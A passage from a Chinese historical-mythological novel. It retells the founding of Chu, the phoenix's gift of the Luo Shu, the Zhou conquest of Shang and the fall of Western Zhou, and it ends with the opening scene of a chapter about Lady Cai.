商朝闻讯,又举大军前来征剿。殷商帝国的第二十三代君王高宗武丁,为了挽救衰落的王朝,御驾亲征,誓要剿灭刚刚兴盛的楚人!
但南方的山林湖泊,不适应商军的战车。楚人用长长的楚条作成绊马索,让在山道上奔驰的战车人仰马翻。所有楚人都拿起竹茅、魚叉、锄头等与商军作战。商军没料到这些南蛮之人如此顽强,而地形又对他们不利。双方熬战不休,战争无穷无尽。商朝大军表面取得胜利,实际死伤惨重,只好退兵。
赶走了强大的商军,这些被称为“南蛮”的楚人看到了自己的力量,他们不能再这样被追杀,被围剿了,他们要建立自己的国家!
公元前十-世纪初,一个伟大的楚人英雄诞生,他的名字叫鬻(yù育)熊。鬻熊脸宽眼黄,高大强壮,力大无穷,而且箭无虚发。有一次,他在山野之中远远看见一只卧虎,搭箭就射!老虎不动了。身边的人走近一看,原来是一块虎形巨石。只见箭簇深深射入巨石之中,连箭羽也饮没其中,谁都拔不出来!
鬻熊射石饮羽,成为族群的传奇。众人推选他为部落首领。他便号令族人,在丹阳建国,定国号楚。
楚人欣喜万分,**在丹水之畔,举行隆重的祭奠仪式,以太牢祭祀先祖。太牢,就是牛、羊、猪三牲全备。可正要祭祀时,整个族群,竟然找不到一头牛!
太牢不齐,怎显虔诚?贫穷之极的楚人只好从相邻的鄀(rùn若)国偷来一头牛。为防被人发现,只好在夜晚躲进茅屋内祭奠!从此,楚人的大祭,全在晚上。
楚国,就这样诞生了!
五凤凰再授洛书
顽强的楚人把凤凰作为自己的图腾,在这里繁衍生息。他们尊用凤凰所封的司政鸟,又以牡鸡司晨,布谷司种,喜鹊司婚,啄木鸟司医,引导季节的轮回,遵循时序的流转,不误农时,敬畏天命,自由地生活着。这里没有奴隶,人们开地自得,种粮自收,国家一天天强大。
这天,穷奇从北方飞来丹阳,对天凤说道:“殷有三贤,可托《洛书》也。”
天凤大喜,问道:“三贤是为何人?”
“贤之大者,名为箕子,为当朝太师,此人通究天地,诵辩古今,名传朝野。贤之二者,名为比干,为先王托孤大臣,忠直清廉,无出其二。贤之三者,名为微子,纯良质朴,谦逊礼让。三者皆可托以《洛书》。”
“走,速往朝歌访贤。”天凤奋翅向北飞去。
此时,年轻气盛的商朝第二十八代帝王帝辛连年征战,百战百胜。对内发展生产,锐意改革,禁止滥杀奴隶,禁止淫祭神灵,国家一片中兴景象。从此,他王威日盛,唯我独尊,听不进任何谏言。
帝辛征讨苏国,俘获美丽绝伦的公主苏妲己。此后,他便与妲己在酒池肉林中过着醉生梦死的生活。把他推上王位的叔叔比干不断劝谏,被他挖心而死。凤凰飞临朝歌上空,只见帝辛修鹿台,杀王后,建炮烙、虿(chài柴的去声)池之刑,使王都一片凄凉。凤凰心急万分,再找箕子和微子,可微子逃走了,箕子也找不到人影。
这天黄昏,凤凰正要飞回丹阳,忽听城北的桑树林中传来歌吟声:
麦秀渐渐兮,
禾黍油油。
彼狡童兮,
不修德兮。
............
声音那么优美,又那么凄凉。围观的民众叹道:“箕子疯也,大商必亡也!”
天凤飞近细看,只见一个身材颀长,白发如瀑的长者,手抱古琴,正忧伤地弹唱。凤凰大惊:这个整日疯疯颠颠,在城边游走的穷疯子,为何唱出如此优雅的歌来?
穷奇说道:“闻微子出走,箕子装疯,此必就是箕子。”
凤凰细看,只见他高高的鼻梁,宽广的上额,神形与众不同。可天色已晚,他怀抱古琴,背靠桑树,仿佛睡着了。凤凰翔于桑顶,双眼放出一道红光,说道:“大灾将临,箕子岂可在此避祸?”
只听他喃喃说道:“箕子无能,只得独善其身也。”
“箕子听令,吾乃九天玄门之天凤也,今授天地之《洛书》,汝须传与大德大能之未来之王,方解中原之苦也。”
箕子闻言,立即睁开眼睛,可万道红光直射而来,他双眼刺痛,却见《洪范九畴》四个大字飘然而来,便扔下古琴,跪地而拜:“箕子受命也。”
可就在这时,只见凤凰静翔的翅膀颤抖起来,接着痛苦地上下扑腾。穷奇仔细一看,凤凰胸口流血,血还在燃烧。穷奇这才明白,《洪范九畴》溶入天凤的心血之中,只有燃血才能再显天书。穷奇惊慌飞向前去,驮起天凤直飞丹穴山,众雄凤雌凰立即濯丹水疗伤,让天凤长留山上休养。
公元前1067年秋天,一位陌生的客人来到丹阳,要求见国君鬻熊。他说道:“帝辛荒淫,商政无道,中原民不聊生!西伯侯欲合天下诸侯,共讨**!若灭无道之商,必分封天下,共享太平!”
周国国君西伯侯大仁大义,名满中原,今派特使来邀,鬻熊义无反顾,欣然应从。他振臂一呼,对子姓商族仇深似海的楚人群起而应!所有成年男丁拿起武器,跟着使者前往与周军汇合。西伯侯姬昌得知祝融的后人前来参战,大喜过望,拜鬻熊为师,仍授鬻熊火正之职,后改名火师。命他司火、祭酒、观天象。
可大战未开,西伯侯姬昌病亡。年轻的二公子姬发与天下八百诸侯会盟孟津,誓师伐商!
公元前1066年,姬发率领天下八百诸侯,联军十万,进军商都朝歌!在王畿牧野与七十万商军相遇。雄姿英发的姬发左持黄钺,右秉白旄(máo**),对将士们说道:“嗟夫!远来之冢君、将帅、勇士!举起金戈!布列坚盾!竖立长矛!听予牧誓:牝(pìn聘,指雌性)鸡司晨,**败家!今商王帝辛,惟妇言是用!自弃祖祀,废亡兄弟,崇宠罪恶,暴虐百姓!予承天命率尔等讨之!进军!桓桓之师!进军!如虎如罴,如豺如螭!勉哉,冢君!勉哉,将士!”
受尽压迫的天下诸侯受到激励,杀向强大的商军。就在这时,商军中三十万奴隶临阵倒戈,与联军并肩作战,商军大败。
姬发率领大军潮水般涌向朝歌。可百年王都,高大的城墙宛如铜墙铁壁,坚不可摧。鬻熊负责的南门,屡攻不破。无论用擂木撞、斧头砍还是油火烧,那城门打得千疮百孔,就是不倒。此时,城楼上矢飞如雨,火油如瀑,楚人一个个倒下,死伤惨重。鬻熊心急如焚,胸痛如裂!他大吼一声,一头向城门撞去!
城门轰然倒塌,鬻熊头颅粉碎,血浆飞溅,惨死在城门之下。楚人一拥而上,冲了进去。楚人永远忘不了这一幕!楚国的公室从此以熊为氏,把他的名字和精神世代传承下去。
城门既破,帝辛自知死到临头,命人将宫中四千多块宝玉全部搬到鹿台,自己坐在宝玉之上,令人将富丽堂皇的鹿台点火焚烧。熊熊大火冲天而起,帝辛与宝玉一起焚毁,史称玉石俱焚!商朝历644年而亡,后人给了帝辛一个最卑劣的恶谥(shì示):商纣王。
纣王的哥哥微子自知商族罪孽深重,他脱光上衣,反绑双手,囗衔玉佩,让手下身穿孝服,抬着棺材,来到姬发面前下跪请罪。姬发知道微子是殷商大贤,便亲自扶起微子,为他解开绳索,披上外衣,接受玉佩,烧毁棺材。
太子武庚也前来跪地请降,姬发扶起武庚,接受投降!
六洪范九畴
殷商亡,大周立。姬发被天下诸侯公推为大周武王!武王追封其父姬昌为大周文王,建都镐(hào号)京(今陕西西安),将夏铸九鼎移于镐京王城。看见九鼎,武王突然想起凤传《河图洛书》,那是上天赐与的万世宝典啊!经多方打听,方知《洛书》在阳城大火中焚毁了,但朝歌纷传,凤凰又传于箕子。
武王立即前往箕山,找到箕子,对他说道:“呜呼!箕子,天佑兆民,使其和谐安居,今朕继大统,尚不知治理之道也!”
箕子试探道:“我闻在昔,鯀陻(yīn因,堵塞之意)洪水,致五行乱矣!今天下初定,须以《洛书》治之。”
“闻《洛书》毁于战祸,如何得之?”武王试探地说道。
箕子一听,新王果然在求治国之道啊,便坦诚说道:“天凤怜恤中原,再传《洛书》于罪臣,令罪臣传与大德大能之王也。”
周武王一听,感恩无地,叹道:“凤凰之德,朕愧受也!必戒斋三日,沐浴更衣,以受天书。”
三天后,周武王戴黄冕,穿黄服,领三公九卿分坐于王宫前院三槐九棘之下,静待箕子授书。
箕子立于台阶之上,大声说道:“《洛书》系天凤宰执中原之法,集天地众神之灵,尔等恭受!”
君臣一齐跪下:“敬谢天凤!敬谢天地众神!”
“《洛书》精要,便是《洪范九畴》。洪,是为大,范,即是法。洪范九畴,即为**九章。
“初一为五行。此天地万物运行之道也。春季万物欣荣,使木气展放,助夏季之火升腾,故曰木生火;夏季之火长燃殆尽,可助秋季土气内敛,故曰火生土;土气內敛平稳,可助金气蓄收,故为土生金;秋季金气畜收,又助冬季水气潜藏,故曰金生水;冬季水气潜藏,生机存放,为来年木气展放储存能量,故曰水生木。一年四季,天地万物相生,各有其用,不可缺也。
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“然万物相生,不可太过。水过则出洪灾,火过则生火灾,木过则狂放恣肆,天下大乱。金过则坚锐伤物,土过则地无生机。故相生之外,又有相克。
“土气过于内敛雍塞,便有木气之展放而搅松,是为木克土;水气过度潜降或暴涨,又有土气雍塞而止之,是为土克水。然水气潜降上涨,又可抑制火气过度升腾,故为水克火。火之升腾,可融化金气过度蓄收而僵硬,此为火克金。金气蓄收,又可克制木气过度展放,此为金克木。
“世间万物,便是在此相生相克中繁衍生长,相互依存,相互制约,则万物共荣。一行独弱或消亡,则五行崩溃,天下大乱。亦不可一行独大,否则五行受制,各生其害,天灾人祸层出不穷,人世之苦无穷无尽也。故九畴洪范,以五行为纲。
“次二为五事:即仪态、言语、眼光、听觉、思想。为政者,须仪态谦恭;言语柔顺;眼光明亮;听觉灵敏;思想睿智。有此五事,为政必明,无此五事,政必昏聩。
“再三为八政:一为司掌粮食。二为司掌财政。三.为司掌祭祀。四为司掌土木建筑。五为司掌教育。六为司掌律法。七为接待外宾。八为司掌军事。君王谨记:国立八政,少则有缺,多则有害,多政便是多害也。”
“次四为五纪:即年岁、月份、日数、星辰、历数。五行运动于五纪之中,方不偏不紊。民生耕种收获,以五纪为引,方不误农时。故为政者须推年岁,定月份,计日数,察星辰,以全历数。
“次五为皇极:即帝王至高准则。一为集敛五福,遍赐庶民。二为无有淫朋,无有结党。三为节操守正之人必念之;无节无操然不伤律法之人必恕之;明智显贵之人必敬之;四为善待鳏寡孤独之人,民必感怀。不用封爵赐禄之人,民必怀怨。不用有徳有才之人,便生罪孽。五为无偏无党,君王之道宽广无垠;无党无偏,君王之道平坦无险。君王庶民,共遵皇极,必王道生辉,天地澄明。
“六为三德:一为正直,二为刚克,三为柔克。
“君之正,是为公正,此为立国之本也。君王公正,则臣民忠直,此为正直之大义也。君王失公正,臣民必失忠直,便生奸邪罪恶。故公正是为天秤,不可失之。
刚克便是德威,君王公正,便可在祸乱之时德威四方,平暴安国。柔克便是仁爱,在平和之时,以爱柔抚慰天下苍生。
七为稽疑:国遇疑难,须以五权决断:君王须以龟卜问天,以明天意;以占筮问地,以明神愿。举朝问臣,以明臣见;遍访生民,以知民愿。若五权意见一致,则为天下大同!若四权同意,一权不同,亦为吉利,宜可行也。若三权同意,二权不同,亦为小心可行。若二权同意,三权不同,则不可行也。若一权欲行,四权否之,行则是为**,必有大祸!然则神权至上,若龟卜与占筮结果与君、臣、民三权意见相悖,则宁静不动为吉;
八为庶征:天下祸福,必有征兆。雨、晴、暖、寒、风五者依序而行,则粮食丰稔,天下大吉。若一者过甚,或一者失亡,则为大凶。君王谦恭,雨必及时。德政清明,日光普照。君王英明有德,便有暖风苏醒田地;君王谋虑周全,便有寒冷平降燥热;君王通达宽恕,风必冷暖交替,四季依时。君王狂妄,大雨成灾;君王擅权,天旱不雨;君王淫乐,天燥地枯;君王暴虐,天寒地冻。君王无道,天下灾祸不尽也。
九为五福六极:五福者,长寿、富贵、平安、美德与善终。六极者,早死、多病、忧愁、贫穷、丑陋和懦弱。君王之责,即为天下之民**五福,免受六极。君王至此,无愧天地也。”
周武王听完,揖手躬身道:“姬发惶恐受书,敬谢天凤!”
箕子回礼道:“为王不易,忍辱含垢,天命自成。”
“敬谢箕子传书!”君臣一齐鞠躬致礼道。
周武王捧着周公旦整理的《洛书》文字,战战兢兢,三日三夜不能成寐。他吩咐周公旦依《洛书》设立八政,主持国务,自己又来到箕山,对箕子说道:“嗟夫,箕子!商生周,周克商,商周相生相克,相依而存。故天地不能失殷商也。今封汝侯爵,恭请重建殷商,必可天下共荣。”
箕子却不拜谢,只静静地说道:“商其沦丧,我罔为臣仆也。”
箕子说完再无话了,姬发失望而归。见武王离去,箕子怕他再来,便带着封地上的五千臣民向东**而去。当他们走到胶州湾时,只见前面是无边无际的大海。经多方打听,得知大海中有一岛屿,便造木茷东渡,离开了中原伤心地。不久,他们果然找到了那个岛屿,见这里山明水秀,草木欣荣,便在这里定居下来,并命名为朝鲜,在这里建立了箕子朝鮮侯国。
周武王以《洪范九畴》为治国大纲,封姜子牙为太公;周公旦为太傅、召公奭(shì示)为太保。根据八政,下设五官:司徒,司掌民事和土地;司马,司掌天下兵马;司空,司掌水利与建设;司士,司掌群臣百官;司寇,司掌律法等等。接着,他便遵守诺言:分封天下诸侯。
公元前1065年,即周朝开国第二年,周武王在大周镐京举行第一次分封大典。天下诸侯闻讯齐集镐京,等待着分封。
楚人欢天喜地,**五百多年后,分封建国的日子总算来了!鬻熊在伐商中战死,楚人远送他的儿子熊丽前往分封。熊丽坐着一种叫筚路的牛车,千里迢迢来到镐京,等待分封。
周武王在富丽堂皇的王宫之中分封了七十二个诸侯国。把功高盖世的姜子牙分到富庶的齐国,把最具才华的四弟周公旦分到鲁国,把年少稳重的召公奭分到燕国等等。周武王以古今帝王少有的广阔心胸,存亡继绝,怀柔天下,把舜的后人胡公满分到陈国,把商朝的故都朝歌分封给了商纣王的儿子武庚,命名殷国,其他商族枝系分到国奄、蒲姑、东徐等国。
可是,千里而来的熊丽连王宫的大门都不让进。他孤独地站在门口,等待有人传楚人进宫听封。看着分封的诸侯拿着象征君权的圭玉,喜气洋洋地出门奔向封地,直至所有的人都走完,也没有分封楚人!他的心碎了!他孤零零地站在宫门前,不知所往,这才明白,楚人被遗弃了!
他失魂落魄地回到丹阳。楚人闻讯,悲痛欲绝,伤心的眼泪不停地流淌。他们又一次陷入了痛苦的深渊!对自己参加创立的大周王朝也彻底失望了。从此对中原的怀念与仇恨相互交织,叛逆之心不断滋长。但是,憨厚的熊丽仍听从王室的召唤,他每年都用筚路拉着苞茅和桃弧刺矢进贡王室。前来进贡的诸侯在宫內觥筹交错,举杯欢笑。他却在宫外用苞茅祭酒,烧火守夜,观天问吉。
岁月无情地流逝,时间如南国清澈的泉水,洗涤着他们**戮、被驱赶、被抛弃的伤痛。阳春三月,在江南的田野上,燕子的呢喃,鹧鸪的细语,斑鸠的鸣叫,杜鹃的啼声,让他们深深地爱上了这片土地。夏夜,他们坐在星空下,遥望中原的天空,回忆着祖先的辉煌与族群的荣誉,怀念着中原故乡。南方的晚风,撩动着他们的无限愁思。在漫长的岁月里,他们养成了多愁善感,沉默幻想的习惯。
大周王朝建国五年,周武王就去世了。他的儿子姬诵继位,是为周成王。可姬诵年幼,便由贵为公爵的叔叔周公旦担任摄政王兼帝师。
天下初定,百废待兴。周公执政,宵衣旰食,夙兴夜寐。他一沐三束发,一饭三吐哺,使朝野肃然,天下归心。可是,惟独他的三哥不服。
周文王姬昌的夫人叫太姒,为他生了十个儿子。长子伯邑考,当年为救父亲只身入朝歌,被商纣王处死。次子就是武王姬发。老三叫管叔鲜,也颇具才华,商朝末年曾被招往朝歌担任商太子武庚的老师。周武王分封商纣王的儿子武庚建立殷国之时,便把三弟叔鲜封到管国监督商人,又把五弟叔度和八弟叔处封到蔡国和霍国监督商人。故史称管叔鲜、蔡叔度和霍叔处为“三监”。
管叔鲜见四弟周公旦以天子之名号令天下,心中不服,便联合五弟蔡叔度和八弟霍叔处带领商人一齐反叛,史称“三监之乱”。刚刚建立的大周王朝处于风雨飘摇之中。
周公旦率领军队浴血奋战整整三年,大胜叛军。他诛灭三哥管叔鲜和邶君武庚,流放五弟和八弟,彻底平息了叛乱。
虽**平息,但山河破碎,生灵屠炭,周公旦痛定思痛,对周成王说道:“五行之道,相生相克,互依互存。欲安天下,必先安商人。殷商安,天下宁。恳请天王再度分封。”
不到十岁的天子姬诵对师傅言听计从,欣然同意。平叛后的第三年,即公元前1061年,周公旦又一次主持分封。这次分封了七十一个国家。把商人分封到他们的故乡商丘,赐国号宋。请商纣王的哥哥微子为君,赐以公爵之尊。又将逃亡的商人迁回故都朝歌,赐国号卫。五弟蔡叔度的后人仍分封蔡国,八弟霍叔处的后人分封霍国。从此,受尽恩惠的商人在微子的领导下,一心护周;参加叛乱的姬家兄弟后嗣也再无反举。但是,楚人仍然没有受封,他们还是不被中原认可的荆蛮。
第一章 序曲 :凤凰的传说(3)
七?0?2凤凰鸣矣?0?2于彼**
自家兄弟的叛乱,让周公陷入长久痛苦的反思之中。他自小跟随父亲周文王学习预测吉凶的八卦,在长久的思索推演之中,他把父亲所学伏羲的先天八卦演绎成后天八卦,把算命和预测吉凶提升为寻找天地万物的规律。他以天赋的异秉,推衍出384爻,为每一爻写出爻辞。成为中原的文化宝典《周易》。纵观八卦384爻,虽个个变化诡异,但与五行一样,同样是相生相克而互相依存!
他油然而悟:这便是天地万物的规律,遵循大自然的规律,就是道;遵循人心的规律,就是德。
可是,一个更大的难题出现了:无论是五行和周易,还是道与德,虽然都真实存在,但都看不见,摸不着,太过玄妙,无法成为治国的规范。
他夜夜遥望星河,寻找着答案。天帝与众神同样遥远而玄妙,看不见,摸不着。但有日月星辰闪耀着天帝和众神的光芒,让人向往和敬畏。而五行与周易也会发出光芒,那就是礼。
五行与周易展示的道与德,是自然与人类的最高境界,礼,便是这一境界绽放出的光艳花朵,每个人有礼无礼,都看得见,摸得着。
世间变幻万象,波谲云诡,只要依礼而行,便可逢凶化吉。鹦鹉能言,仍是飞鸟,猩猩说话,还是禽兽。**之别只在于礼,人若无礼,则祸害丛生,人若有礼,则国泰民安。
因此,周公深切地感到礼的至要。礼者,所以定亲疏、决嫌疑、别同异、明是非。道德仁义,非礼不成;教训正俗,非礼不备;纷争辩讼,非礼不决;君臣、上下、父子、兄弟,非礼不定。是以君子恭敬撙节,退让以明礼。
由此,周公制订了从上朝议政到穿衣吃饭,从君臣父子到兄弟夫妻,从朋友聚会到男婚女嫁等社会一切领域所应遵循的礼制。这,就是周公之礼。它不仅是制度,而且是法律。
大周王朝以礼为先,把礼教播于中原。废除酷刑,禁止殉葬,更废除了残忍的人祭习俗,又把商朝建立的井田制进行改革。井字九块田,中间一块为公田,四周八块赐与奴隶为私田,八个奴隶只要种好那一块公田,便可种王朝赐给自己的私田,国家也不收税。生民有了自己的私田,便可结婚生子安家,从奴隶向着农民蜕变。翻身农奴有了喜悦之情,常常一面种田一面唱着牧歌,把自己的喜怒哀乐编成歌谣,载歌载舞。王朝便派人入乡采风,记录他们的欢乐和痛苦,以了解民生。
从天子到奴隶,人人受到礼遇,大周王朝的礼制在中原普遍实施。西周的礼仪社会逐渐形成。
周公功高盖世,天下称颂,却又一次引来流言蜚语。有人说,武王去世之前,由于儿子太小,想把王位传给周公,他不会交出王权了。一时间,废王自立的谣传甚嚣尘上。年少的周成王也忧心忡忡,担心叔父篡位。周公得知成王不信任他,便连夜逃走,或许是鬼使神差,他逃到了遥远的南方荆楚之地。
楚人以最高的礼节欢迎他。他们为他点起冲天的篝火,跳起草裙舞,唱着楚国的下里巴人。周公这才知道,就是这群祝融的后人,随王兄出生入死推翻了商纣王,却至今没有分封。
周成王见叔父逃走,便命人开启中央文书金柜,寻找对付叛乱的对策。却意外发现一份祷告文书。那是父王重病时叔父筑坛拜天,祈祷天帝将自己带走,代替武王**的祷吿全文。接着,他又看到自己年幼病重之时,在宫中久治不愈,叔父背着自己四处求医时,对河祷告,祈求代己而死的记载。成王热泪盈眶,立即派人将叔父请回。
周公回朝二年,便把王权交回成王。又以卿士身份辅政七年。在他的辅佐下,周朝的经济文化迅速发展,礼制得以推广实施,开创了空前繁荣的“成康盛世”。他是鲁国国君,可他从未回国享受一天为君的尊荣。临终前,他把楚人伐商未封的事告诉了周成王。
周成王三十七年,即公元前1027年,他亲自主持了第三次分封。这时,熊丽薨(hōng轰)世,继承君位的儿子熊狂也亡故,熊狂的儿子熊绎初登君位便前来听封。周成王封熊绎为子爵,**罔替。赐丹阳方圆五十里建国,赐国号楚!
祝融的后代终于受封!虽然爵位太低,但楚国取得了正式封号,再也不是被追杀、围剿的异类了!
**中国繁荣昌盛,国泰民安。成康之治,礼遇天下,四十多年没有动用过刑罚,到处都是路不拾遗,夜不闭户的景象。造就了三百年中华最早的礼仪之邦。
晚年的周成王,总有一事耿耿于怀,就是一生没有见过凤凰。他对毕公高和召公奭两位叔父说道:“今天下太平,全赖凤传《河图洛书》,此恩此德,不可忘也。朕欲祈凤,不知凤可再临否?”
毕公高说道:“东南有一佳地,秀峰流翠,百鸟歌鸣,名曰卷阿。闻凤皇独爱,常飞于此。天子巡游此山,筑坛祈凤,凤必再临。”
“如此甚好,太叔遣人前往择地筑坛,朕即往之。”
这年春天,周成王的玉辂驾临卷阿。只见山野百花吐艳,群鸟翱翔,地方官引万民列道迎驾,人们载歌载舞,欢迎盛世之王。周成王身穿黄衣,头戴黄冕,领毕公高和召公奭等济济百官登上祈凤坛,献三牲,呈稷黍,奉玉帛,焚香礼拜。毕公高大声宣读祈文道:
苍天华耀,昊日澄明。
天子姬诵,慕凤之灵。
宰执百鸟,眷佑中原。
礼尊黎庶,德柔苍生。
膏润并爱,救难弥苦。
河图洛书,奠定乾坤。
穆穆天朝,芸芸共尊。
凤兮,归来——
山上山下万千臣民同声喊道:“凤兮,归来——”
一时间,鼓乐齐鸣,笙箫竽瑟一齐奏响,生民翩翩起舞,如林的手臂向天伸展,乞求凤凰来仪。
就在这时,天际云霞流彩,五彩绚丽的凤凰展开垂天之翼,振翅飞舞而来,丹穴山上的凤凰也跟随其后。只见天凤越飞越近,羽叶如霓裳飘曳,眼珠如红日璀灿,俯首人寰,穿云破雾,在卷阿的天空展翅盘旋。身后的群凤和百鸟欢跃鸣叫,尾随而舞。天空云蒸霞蔚,**流彩。
周成王喜出望外,连连喊道:“快,快奏迎凤曲。”
丝竹弦乐一齐响起,宫中的男优女伶们随着音乐,载歌载舞,山下万民也随之舞动起来:
凤皇于飞,
翙翙其羽,
亦集爰止。
蔼蔼王多吉士,
维君子使,
媚于天子。
人们歌颂美丽善良的凤凰,歌颂和蔼贤明的天子,也歌颂正直吉祥的臣子,卷阿成为一片欢乐的海洋。
凤皇于飞,
翙翙其羽,
亦傅于天。
蔼蔼王多吉人,
维君子命,
媚于庶人。
凤皇鸣矣,
于彼**。
梧桐生矣,
于彼朝阳。
菶菶萋萋,
雝雝喈喈。
周王祈凤,盛况空前,毕公高令乐人将此诗纪录在《诗经.大雅.卷阿》之中,以感念凤凰再临。
其实,栖息于丹穴山的天凤心伤还未痊愈,可卷阿祈凤声势太过浩大,善良的天凤不愿让万民失望,便振翅而来。可这一次,灾祸来了。
卷阿祈凤不但惊动中原,也惊动了天宫。天帝打开天帘,察看人寰,见中原祈凤,勃然大怒,对众神说道:“凤皇私自下凡不归,擅授天书,私护中原,使其祈凤不祈天也!天威何在?天规何存?”
九天玄女立即求情道:“中原多难,今河清海晏,亦为天帝之恩也,乞天帝饶恕凤皇。”
“凤皇屡犯天规,不可恕也!雷神、电神何在?”
二神上前,惶恐应道:“小神均在。”
“令汝等以雷电击之,以惩其罪!”
雷电二神惊慌跪下:“天帝,不可也。若雷电并击,凤皇必死无疑。”
可无情的天帝强硬地说道:“凤皇既爱中原,便须与中原野民一样,生死自由造化而定!”
雷电二神无奈说道:“小神遵命!”
顷刻间,天空阴云密布,电闪雷鸣。万道天光齐袭丹穴山,顷刻大火翻腾,刚刚飞回山上的雄凤雌凰全都在火海中化为灰烬。天凤也全身火起。她明白,劫难到了!可是,天凤之心历经万千劫难,已是不死之心!她在中原的上空挣扎着,正当她痛苦扑向南方的衡山之颠时,一声惊雷挟带着灼热的闪电,如利剑一般,直击她的心窝,只听一声凄丽的悲鸣,不死的凤凰之心被击碎了!
“潇湘之山衡山高,山巅朱凤声嗷嗷。”二千多年后,诗圣杜甫以他的如椽大笔,写下了这一悲壮的景象。那晶莹闪亮的凤心碎片,随风飘荡,跌落在淮北的涡水之中。
中原有人看见了这悲惨的一幕!悲伤之余,人们疑惑重重
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,凤凰从此不存在了吗?中原之人,难道真的不配凤凰的爱柔吗?
岁月无情流逝,大约两百年后,周王朝历经十代,传位周厉王姬胡。此时,自周康王以后的五代天子,不断放松对自己的约束,奢靡日盛。又常以武力远征蛮荒部落,致战事频繁,国家经济日渐衰落。
姬胡承位以后,好武滥战,使外部矛盾更加激发。他对内加强中央集权,与民争利,将山林湖泽全部收归王朝国有,使封地的贵族失去应有的权力和土地,奴隶和庶民失去开荒种地,入河捕魚,进山打猎和砍伐树木的权力。贵族不满,人民贫困痛苦,内外矛盾不断激化。大夫芮良夫进谏道:“利者,百物之所生,天地之所载也,本应天下之民共享。而天子专有,其害多也。”
可姬胡不听劝谏,他早已忘记《洛书》中天下五权的存在,一意孤行。臣民不满,谤议纷起。姬胡便令各级巫觋到处监视臣民,听到谤言便抓捕入狱,轻者用刑,重者处死。臣民不敢说话,人人自危。亲朋好友相见,只能以眼神示意,不敢出声,史称道路以目。
愤怒的国人忍无可忍,他们拿起扁担、锄头和镰刀冲向王宫,要杀了周厉王。周厉王立即令军队**。可将军们说道:“兵为民所生,岂能以兵屠民?”周朝建国二百多年,没有军队**人民的先例,将军们都不敢发令。姬胡只好逃到彘地(今山西霍县)去了,最后死在那里。
自此,国人厌恶国王,不愿再立,便推举召穆公和周定公二位卿相共同执政,号称共和,史称共和行政。
这是中国历史上的第一个共和体制。即不同族群和团体和谐共处,共同治理国家。在共和体系下,朝廷、贵族领主和庶民各享其权利。没有君王的统治,国家更加和谐安宁。
美丽的共和之花绽放了十四年,中原臣民便忘却了**带来的伤害。一千多年的君主制,使他们一跪不起,渴望再立新君,更何况,大周王朝的君王们也大多自律,或许,周厉王只是个例?
公元前828年,臣民拥立周厉王的儿子姬静为王,史称周宣王,结束了昙花般的共和时代。
姬静仿佛是臣民的期望之君,最初的二十多年,他对内重农桑,任贤能,重用召穆公、尹吉甫、中山甫、虢文公等贤臣。对外平息了猃狁、西戎的叛乱,使大周王朝再现中兴气象。可到了晚年,忠直的重臣一个个去世,他王权牢固后,天使突然变成了魔鬼,便独断专行,不听忠言,滥杀大臣,使国力日衰。宣王中兴,昙花一现,酿就了西周的灭顶之灾。
周宣王在位46年,于公元前783年去世,其**涅承位。他,就是中国历史上臭名昭著的周幽王。
公元前785年,周幽王出征遥远的褒国,王师大捷,褒国一战而降。褒国国君将自己最美的女儿褒姒献给宫涅。宫涅为她的美色所惑,便废王后,逐太子,杀忠臣,相似的周期率又一次重演!为博褒姒一笑,他命人点燃峰火台。天下诸侯率军千里而来,明白真相后,失望而归。
太子宜臼为申后所生,母子双双被废,宜臼逃往申国,哭求外公申侯救母亲。公元前771年,申侯为救女儿和外孙,便联合鄫国和犬戎进攻王都镐京(今陕西西安),危急之时,宫涅又令点燃烽火台,可曾经受骗的诸侯再也不相信他了!诸侯不救,犬戎杀入犒京,褒姒被掠走,宫涅**,谥号幽王。二百九十六年繁荣富强的西周王朝宣告灭亡。第二年,宜臼被诸侯扶立继位,东迁洛邑(河南洛阳),开始了四百年王权沦丧的东周历史。
西周的灭亡,导致三百年文明的礼制社会的崩塌。礼制的闸门一旦打开,人的**便如洪水般泛滥,阴谋和欺骗象瘟疫一样流行,战争与杀戮如恶梦般不断。弑君篡位,兄弟相残,,母子相淫,人性的丑恶繁衍于未来五百年春秋战国的漫长岁月中。
但是,君侯大夫、诸子百家、贩夫走卒等无数各阶层的仁人贤士,又为重塑德礼洒尽热血,迸发出灿烂的光焰,创造出瑰丽的中原文化。而江南土地上那群不甘沦为南蛮的楚人们,把凤凰作为自己的精神偶像,开始了回归中原的历程。他们以野蛮的北伐追求着中原文明,创造了独有的楚文化,与中原文化交相辉映,写下了中原历史的不朽的传奇!
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作家的话
第2章 霸主薄情 红颜命舛
题记:楚国北伐,咄咄逼人;齐国称霸,气势如虹!齐楚必将一战!
这是楚国回归中原的战争,却是齐国保卫中原的战争!
中原,齐、楚两国共同的家园,谁愿生灵涂炭?
第一节都是女人惹的祸
圣经上说,女人是男人的肋骨,不幸却是男人的软肋。爱之花,
毒之果,让你欢喜让你痛。
蔡妃对着铜镜左看右看,只见一双又大又黑的眼睛在闪动。椭圆的脸庞,红润的嘴唇,一切都是去年出嫁前的少女模样。“面相有何不妥?”她狐疑地瞧来瞧去,脑袋两边摆动,喃喃自语道:“是眉线?眉线太短?”
她回头喊道:“月儿!”
一个年约十四五岁,长着圆脸的侍女立即跑了进来:“夫人有何吩咐?”
蔡妃转脸正视道:“仔细看看,眉长还是目长?”
月儿仔细一看,说道:“目比眉长。”
蔡妃的头立即垂下不动了,沉默半天,抬头叹道:“眉短于目,一生灾祸!”
她拿起眉笔,在手中晃了几下,贴近铜镜,描起眉尖来,口里喃喃念道:“眉线一根长,能抵万担粮......”她突然看到右眉有几根交叉竖立,便以手指往右下压,可手一松,那眉毛又竖了起来!难道自己有竖眉?她又用食指压下不动。压了很久,她手一松,又竖起来了!她一把将铜镜推倒,伏在梳妆台上,一动不动。
月儿站在她身后,宽慰道:“夫人花容月貌,只是眉线短了少许,何必自寻烦忧?”
她抬起头,睁着大眼说道:“花容月貌?哼,你可知道,我是何物?”
月儿一下懵了,摇摇头。
“我就是个夜壶,老东西用完便扔到床角,不管了!”
月儿惊得舌头滑了出来,说道:“夫人何必作贱自己,君侯不来,是要伐楚。”
“伐楚?他伐楚与我何干?”
“夫人细想:楚是我蔡国宗主,若伐楚国,必先伐蔡,君侯只好冷落夫人。”
“哼,伐楚?自寻死路!”
“夫人小心说话,若让人听见,恐惹大祸!”
蔡姬转过身来,打开衣柜,把从娘家带来的嫁衣试了一件又一件,一下高兴,一下又烦躁!她抓起衣裳满地一甩,五颜六色的衣裳撒了一地!自己无力地瘫坐在地上,又不动了。
